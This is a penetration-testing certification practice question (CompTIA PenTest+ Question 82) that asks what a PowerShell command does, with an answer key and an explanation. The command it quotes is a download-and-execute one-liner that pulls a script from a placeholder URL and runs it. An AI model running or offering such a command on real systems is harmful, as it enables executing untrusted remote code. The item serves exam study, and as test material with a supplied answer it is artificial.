CompTIA PenTest+ (PT0-001) — Question 82
Consider the following PowerShell command:
powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1`);Invoke-Cmdlet
Which of the following BEST describes the actions performed by this command?
Answer options
- A. Set the execution policy.
- B. Execute a remote script.
- C. Run an encoded command.
- D. Instantiate an object.
Correct answer: B
Explanation
The command primarily downloads and executes a script from a remote URL, which is best described by option B. Option A refers to setting execution policies, which is not the focus here. Option C pertains to encoded commands, and option D talks about object instantiation, neither of which accurately depict the command's main action.